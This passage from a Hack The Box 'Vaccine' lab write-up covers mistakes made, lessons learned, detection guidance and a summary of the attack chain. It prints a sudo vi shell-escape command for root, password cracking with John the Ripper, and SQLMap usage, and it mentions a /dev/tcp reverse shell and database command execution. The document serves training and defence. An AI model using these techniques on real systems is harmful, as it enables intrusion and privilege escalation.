I also ran John the Ripper with sudo and later attempted to display the cracked password without sudo.
sudo john -wordlist=/usr/share/wordlists/rockyou.txt hashes
john --show hashes
The second command showed no cracked hashes because the password had been stored in root's John pot file. Commands that resume or display a previous cracking session need to run under the same user account.
Another issue occurred while attempting to stabilize the reverse shell. I pasted the PTY and terminal commands together instead of running them as separate steps. Rather than continuing with the unstable reverse shell, I used the recovered password to connect through SSH, which provided a cleaner and fully interactive shell.
The first privilege-escalation attempt also failed because additional arguments were added to the sudo command.
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf -c ':!/bin/sh' /dev/null
The sudo rule required the command to match the permitted path and file argument. Adding more arguments caused sudo to reject it. Opening the permitted file normally and executing the shell commands from inside vi worked because the editor was already running with root privileges.
What I Would Do Differently¶
I would perform a full TCP port scan before the detailed service scan so that I could confirm that no additional ports were exposed outside the default Nmap range.
I would create a separate working directory for each machine before downloading files or generating hashes.
mkdir -p ~/htb/vaccine
cd ~/htb/vaccine
This would keep files such as backup.zip, hashes, index.php, and style.css organized.
I would also name hash files more clearly.
backup_zip.hash
admin_md5.hash
When using Burp Suite, I would capture the complete authenticated request to dashboard.php and save it to a file for SQLMap.
sqlmap -r dashboard-request.txt
This would reduce the chance of using an expired or unauthenticated cookie and would preserve the complete request headers and parameters.
I would verify authentication with curl before starting SQLMap.
curl -i \
-b 'PHPSESSID=[REDACTED]' \
'http://10.129.195.248/dashboard.php?search=test'
I would also inspect the web source code more closely before relying on automated tools. The vulnerable query in dashboard.php clearly showed that the search value was concatenated into SQL without parameterization.
For post-exploitation, I would test credentials recovered from configuration files against relevant services earlier. Since SSH was already known to be available, the hardcoded PostgreSQL password was an immediate candidate for password reuse.
Relevance to Security Operations¶
This attack chain created evidence across several systems. A security operations team could detect or investigate the compromise by correlating FTP, web-server, database, SSH, process, and sudo activity.
Authentication Logs¶
Security monitoring could identify:
- Successful anonymous FTP authentication
- Web logins to the administrator account
- SSH authentication using the
postgresservice account - Service-account logins from unusual IP addresses
- Authentication occurring shortly after sensitive files were downloaded
- Repeated failed or unusual authentication attempts
Relevant Linux logs could include:
/var/log/auth.log
Web-Server Logs¶
Apache access logs could show:
- Requests to
dashboard.phpcontaining quotation marks - SQL comments such as
-- - Repeated requests with slightly different payloads
- Requests containing
PG_SLEEP - Unusually high request volume from SQLMap
- Authenticated requests followed by database errors
- Requests using the same session cookie from unexpected clients
Relevant logs could include:
/var/log/apache2/access.log
/var/log/apache2/error.log
Database Activity¶
PostgreSQL monitoring could identify:
- Repeated malformed queries
- Boolean-based and time-based injection tests
- Calls to
PG_SLEEP - Stacked SQL statements
- Use of
COPY ... FROM PROGRAM - Operating-system commands executed by the database
- Unexpected activity from the web application's database account
The use of COPY ... FROM PROGRAM by an application account should be treated as especially suspicious.
File-Integrity Monitoring¶
File-integrity monitoring could detect:
- Backup archives placed in FTP-accessible directories
- Changes to files under
/var/www/html - Modifications to PostgreSQL configuration files
- Changes to
/etc/sudoersor/etc/sudoers.d - Unexpected files written by Apache or PostgreSQL
- Changes to sensitive files under
/root
File-integrity monitoring would not necessarily prevent the initial download, but it could identify when sensitive backups were added to an exposed location.
Endpoint Detection¶
Endpoint detection could alert when:
- The PostgreSQL process launches
/bin/bashor/bin/sh - A database process creates an outbound network connection
- Bash uses
/dev/tcpto create a reverse shell vilaunches a shell while running through sudo- A service account starts an interactive SSH session
- A root shell is created as a child process of
vi
A process chain similar to the following would be highly suspicious:
postgres -> bash -> outbound connection
Another suspicious chain would be:
sudo -> vi -> sh
Network Monitoring¶
Network monitoring could identify:
- Anonymous FTP traffic
- The download of
backup.zip - Plaintext FTP credentials and file transfers
- Automated SQL injection traffic
- Time-based SQL injection patterns
- An outbound connection from the server to the attacking system on port 443
- SSH access from an unexpected VPN or external address
Although port 443 normally carries HTTPS, the reverse shell traffic was not normal TLS traffic. Protocol-aware monitoring could identify that the connection did not match expected HTTPS behavior.
Vulnerability Scanning¶
A vulnerability and configuration scanner could identify:
- Anonymous FTP access
- Outdated operating-system and service versions
- Missing cookie security attributes
- Exposed backup files
- Weak application authentication practices
- SQL injection in the search parameter
- Excessive PostgreSQL privileges
- Unsafe sudo permissions
- SSH access enabled for a database service account
The most effective defense would be to fix the weaknesses at multiple layers rather than relying on one control. Even if one issue were exploited, least privilege, unique credentials, restricted service accounts, and safe sudo policies could have prevented the attack from reaching root access.
12. Summary¶
Completed the Hack The Box Vaccine machine in an authorized lab environment and documented the full attack chain from initial reconnaissance through root access.
The assessment began with service enumeration that identified anonymous FTP access and an exposed password-protected application backup. I extracted the archive hash with zip2john, recovered the password using John the Ripper, and reviewed the exposed PHP source code. The source revealed hardcoded authentication data and an MD5 password hash, which I cracked with Hashcat to access the administrative dashboard.
After authenticating, I identified a vulnerable search parameter and used Burp Suite and SQLMap to confirm PostgreSQL SQL injection. The database privileges allowed operating-system command execution, resulting in a reverse shell as the postgres user.
Post-exploitation enumeration revealed hardcoded database credentials that were reused for SSH access. I then identified an unsafe sudo permission allowing vi to run as root and used its shell functionality to obtain root access.
Skills Demonstrated¶
- Network and service enumeration
- Anonymous FTP assessment
- Password-hash extraction and cracking
- PHP source-code review
- Web authentication analysis
- Burp Suite request inspection
- PostgreSQL SQL injection testing
- Linux reverse-shell access
- Credential-reuse analysis
- SSH access and post-exploitation enumeration
- Linux sudo privilege escalation
- Vulnerability remediation and technical documentation
Tools Used¶
Nmap, FTP, zip2john, John the Ripper, Hashcat, Burp Suite, SQLMap, Netcat, SSH, and Linux command-line utilities.